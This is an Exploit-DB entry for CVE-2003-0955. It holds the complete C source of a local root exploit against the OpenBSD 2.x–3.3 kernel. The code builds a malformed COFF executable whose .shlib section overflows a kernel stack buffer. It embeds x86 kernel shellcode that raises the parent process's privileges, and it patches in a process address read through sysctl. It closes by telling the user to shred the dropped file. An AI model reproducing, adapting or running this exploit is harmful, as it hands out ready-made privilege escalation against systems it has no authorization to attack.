OpenBSD 2.x - 3.3 exec_ibcs2_coff_prep_zmagic Kernel Exploit

2003-11-19T00:00:00
ID EDB-ID:125
Type exploitdb
Reporter Sinan Eren
Modified 2003-11-19T00:00:00

Description

OpenBSD 2.x - 3.3 exec_ibcs2_coff_prep_zmagic() Kernel Exploit. CVE-2003-0955. Local exploit for bsd platform

                                        
                                            /** OpenBSD 2.x - 3.3                                                              **/				 
/** exec_ibcs2_coff_prep_zmagic() kernel stack overflow	              **/ 
/** note: ibcs2 binary compatibility with SCO and ISC is enabled    **/
/** in the default install                                                            **/   
/** 	Copyright Feb 26 2003 Sinan "noir" Eren 	              **/ 
/**	noir olympos org | noir uberhax0r net	            **/ 
/**	greets to brother nahual for making this usefull!          **/ 

#include <stdio.h>
#include <sys/types.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/param.h>
#include <sys/sysctl.h>
#include <sys/signal.h>

//#include "ibcs2_exec.h"

/* kernel_sc.s shellcode */
/* much improved the opcode search, fixed the stupid logic bug! */

unsigned char shellcode[] =
"\xe8\x0f\x00\x00\x00\x78\x56\x34\x12\xfe\xca\xad\xde\xad\xde\xef\xbe"
"\x90\x90\x90\x5f\x8b\x0f\x8b\x59\x10\x31\xc0\x89\x43\x04\x8b\x13\x89"
"\x42\x04\x8b\x51\x14\x89\x42\x0c\x8d\x6c\x24\x68\x0f\x01\x4f\x04\x8b"
"\x5f\x06\x8b\x93\x00\x04\x00\x00\x8b\x8b\x04\x04\x00\x00\xc1\xe9\x10"
"\xc1\xe1\x10\xc1\xe2\x10\xc1\xea\x10\x09\xca\x31\xc9\x41\x8a\x1c\x0a"
"\x80\xfb\xe8\x75\xf7\x8d\x1c\x0a\x41\x8b\x0c\x0a\x83\xc1\x05\x01\xd9"
"\x89\xcf\xb0\xff\xfc\xb9\xff\xff\xff\xff\xf2\xae\x8a\x1f\x80\xfb\xd0"
"\x75\xef\x47\x31\xc0\x57\xc3";

/* do not use! */
/* 
silvio gotta get his brain together and understand why sometimes
you need to return to kernel code rather than setting the selectors
pushing ss,esp,eflag,cs,eip and do an iret! 

well, aloha?? vnode locks being held ? mutex locks being held ? 
you have to return to the kernel code that unlocks the syncronization
objects

*/

unsigned char iret_shellcode[] =
"\xe8\x0f\x00\x00\x00\x78\x56\x34\x12\xfe\xca\xad\xde\xad\xde\xef\xbe"
"\x90\x90\x90\x5f\x8b\x0f\x8b\x59\x10\x31\xc0\x89\x43\x04\x8b\x13\x89"
"\x42\x04\x8b\x51\x14\x89\x42\x0c\xfa\x6a\x1f\x07\x6a\x1f\x1f\x6a\x00"
"\x5f\x6a\x00\x5e\x68\x00\xd0\xbf\xdf\x5d\x6a\x00\x5b\x6a\x00\x5a\x6a"
"\x00\x59\x6a\x00\x58\x6a\x1f\x68\x00\xd0\xbf\xdf\x68\x87\x02\x00\x00"
"\x6a\x17";

unsigned char pusheip[] =
"\x68\x00\x00\x00\x00"; /* fill eip */

unsigned char iret[] =
"\xcf";

unsigned char exitsh[] =
"\x31\xc0\xcd\x80\xcc"; /* xorl %eax,%eax, int $0x80, int3 */


#define ZERO(p) memset(&p, 0x00, sizeof(p))

/*
 * COFF file header
 */

struct coff_filehdr {
    u_short     f_magic;        /* magic number */
    u_short     f_nscns;        /* # of sections */
    long        f_timdat;       /* timestamp */
    long        f_symptr;       /* file offset of symbol table */
    long        f_nsyms;        /* # of symbol table entries */
    u_short     f_opthdr;       /* size of optional header */
    u_short     f_flags;        /* flags */
};

/* f_magic flags */
#define COFF_MAGIC_I386 0x14c

/* f_flags */
#define COFF_F_RELFLG   0x1
#define COFF_F_EXEC     0x2
#define COFF_F_LNNO     0x4
#define COFF_F_LSYMS    0x8
#define COFF_F_SWABD    0x40
#define COFF_F_AR16WR   0x80
#define COFF_F_AR32WR   0x100

/*
 * COFF system header
 */

struct coff_aouthdr {
    short       a_magic;
    short       a_vstamp;
    long        a_tsize;
    long        a_dsize;
    long        a_bsize;
    long        a_entry;
    long        a_tstart;
    long        a_dstart;
};

/* magic */
#define COFF_ZMAGIC     0413

/*
 * COFF section header
 */

struct coff_scnhdr {
    char        s_name[8];
    long        s_paddr;
    long        s_vaddr;
    long        s_size;
    long        s_scnptr;
    long        s_relptr;
    long        s_lnnoptr;
    u_short     s_nreloc;
    u_short     s_nlnno;
    long        s_flags;
};

/* s_flags */
#define COFF_STYP_TEXT          0x20
#define COFF_STYP_DATA          0x40
#define COFF_STYP_SHLIB         0x800


void get_proc(pid_t, struct kinfo_proc *);
void sig_handler();

int
main(int argc, char **argv)
{
  u_int i, fd, debug = 0;
  u_char *ptr, *shptr;
  u_long *lptr;
  u_long pprocadr, offset;
  struct kinfo_proc kp;
  char *args[] = { "./ibcs2own", NULL};
  char *envs[] = { "RIP=theo", NULL};
  //COFF structures
  struct coff_filehdr fhdr;
  struct coff_aouthdr ahdr;
  struct coff_scnhdr  scn0, scn1, scn2;

   if(argv[1]) {
      if(!strncmp(argv[1], "-v", 2)) 
              debug = 1;
      else { 
	      printf("-v: verbose flag only\n");
	      exit(0);
            }
    }
 
    ZERO(fhdr);
    fhdr.f_magic = COFF_MAGIC_I386;
    fhdr.f_nscns = 3; //TEXT, DATA, SHLIB
    fhdr.f_timdat = 0xdeadbeef;
    fhdr.f_symptr = 0x4000;
    fhdr.f_nsyms = 1;
    fhdr.f_opthdr = sizeof(ahdr); //AOUT opt header size
    fhdr.f_flags = COFF_F_EXEC;

    ZERO(ahdr);
    ahdr.a_magic = COFF_ZMAGIC;
    ahdr.a_tsize = 0;
    ahdr.a_dsize = 0; 
    ahdr.a_bsize = 0;
    ahdr.a_entry = 0x10000;
    ahdr.a_tstart = 0;
    ahdr.a_dstart = 0;
   
    ZERO(scn0);
    memcpy(&scn0.s_name, ".text", 5);
    scn0.s_paddr = 0x10000;
    scn0.s_vaddr = 0x10000;
    scn0.s_size = 4096;
    scn0.s_scnptr = sizeof(fhdr) + sizeof(ahdr) + (sizeof(scn0)*3); 
    //file offset of .text segment
    scn0.s_relptr = 0;
    scn0.s_lnnoptr = 0;
    scn0.s_nreloc = 0;
    scn0.s_nlnno = 0;
    scn0.s_flags = COFF_STYP_TEXT;

    ZERO(scn1);
    memcpy(&scn1.s_name, ".data", 5);
    scn1.s_paddr = 0x10000 - 4096;
    scn1.s_vaddr = 0x10000 - 4096;
    scn1.s_size = 4096;
    scn1.s_scnptr = sizeof(fhdr) + sizeof(ahdr) + (sizeof(scn0)*3) + 4096; 
    //file offset of .data segment
    scn1.s_relptr = 0;
    scn1.s_lnnoptr = 0;
    scn1.s_nreloc = 0;
    scn1.s_nlnno = 0;
    scn1.s_flags = COFF_STYP_DATA;

    ZERO(scn2);
    memcpy(&scn2.s_name, ".shlib", 6);
    scn2.s_paddr = 0;
    scn2.s_vaddr = 0;
    scn2.s_size = 0xb0; //HERE IS DA OVF!!! static_buffer = 128
    scn2.s_scnptr = sizeof(fhdr) + sizeof(ahdr) + (sizeof(scn0)*3) + 2*4096; 
    //file offset of .data segment
    scn2.s_relptr = 0;
    scn2.s_lnnoptr = 0;
    scn2.s_nreloc = 0;
    scn2.s_nlnno = 0;
    scn2.s_flags = COFF_STYP_SHLIB;

    offset = sizeof(fhdr) + sizeof(ahdr) + (sizeof(scn0)*3) + 3*4096;
    ptr = (char *) malloc(offset);
    if(!ptr) { 
		perror("malloc");
		exit(-1);
    }

    memset(ptr, 0xcc, offset);  /* fill int3 */

    /* copy sections */
    offset = 0;
    memcpy(ptr, (char *) &fhdr, sizeof(fhdr));
    offset += sizeof(fhdr);

    memcpy(ptr+offset, (char *) &ahdr, sizeof(ahdr)); 
    offset += sizeof(ahdr);
	
    memcpy(ptr+offset, (char *) &scn0, sizeof(scn0));
    offset += sizeof(scn0);

    memcpy(ptr+offset, &scn1, sizeof(scn1));
    offset += sizeof(scn1);

    memcpy(ptr+offset, (char *) &scn2, sizeof(scn2));
    offset += sizeof(scn2);

    lptr = (u_long *) ((char *)ptr + sizeof(fhdr) + sizeof(ahdr) + \
           (sizeof(scn0) * 3) + 4096 + 4096 + 0xb0 - 8);

    shptr = (char *) malloc(4096);
    if(!shptr) {
		perror("malloc");
		exit(-1);
    }
    if(debug)
      printf("payload adr: 0x%.8x\t", shptr);

    memset(shptr, 0xcc, 4096);

    get_proc((pid_t) getppid(), &kp);
    pprocadr = (u_long) kp.kp_eproc.e_paddr;
    if(debug)
      printf("parent proc adr: 0x%.8x\n", pprocadr); 

    *lptr++ = 0xdeadbeef;
    *lptr = (u_long) shptr;

    shellcode[5] = pprocadr & 0xff;
    shellcode[6] = (pprocadr >> 8) & 0xff;
    shellcode[7] = (pprocadr >> 16) & 0xff;
    shellcode[8] = (pprocadr >> 24) & 0xff;

    memcpy(shptr, shellcode, sizeof(shellcode)-1);

    unlink("./ibcs2own");
    if((fd = open("./ibcs2own", O_CREAT^O_RDWR, 0755)) < 0) {
		perror("open");
		exit(-1);
	}

    write(fd, ptr, sizeof(fhdr) + sizeof(ahdr) + (sizeof(scn0) * 3) + 4096 + 4096
+ 4096);
    close(fd);
    free(ptr);

    signal(SIGSEGV, (void (*)())sig_handler);
    signal(SIGILL, (void (*)())sig_handler);
    signal(SIGSYS, (void (*)())sig_handler);
    signal(SIGBUS, (void (*)())sig_handler);
    signal(SIGABRT, (void (*)())sig_handler);
    signal(SIGTRAP, (void (*)())sig_handler);

    printf("\nDO NOT FORGET TO SHRED ./ibcs2own\n");
    execve(args[0], args, envs);
    perror("execve");
}

void
sig_handler()
{
   _exit(0);
}

void
get_proc(pid_t pid, struct kinfo_proc *kp)
{
   u_int arr[4], len;

        arr[0] = CTL_KERN;
        arr[1] = KERN_PROC;
        arr[2] = KERN_PROC_PID;
        arr[3] = pid;
        len = sizeof(struct kinfo_proc);
        if(sysctl(arr, 4, kp, &len, NULL, 0) < 0) {
                perror("sysctl");
                fprintf(stderr, "this is an unexpected error, rerun!\n");
                exit(-1);
        }

}

// milw0rm.com [2003-11-19]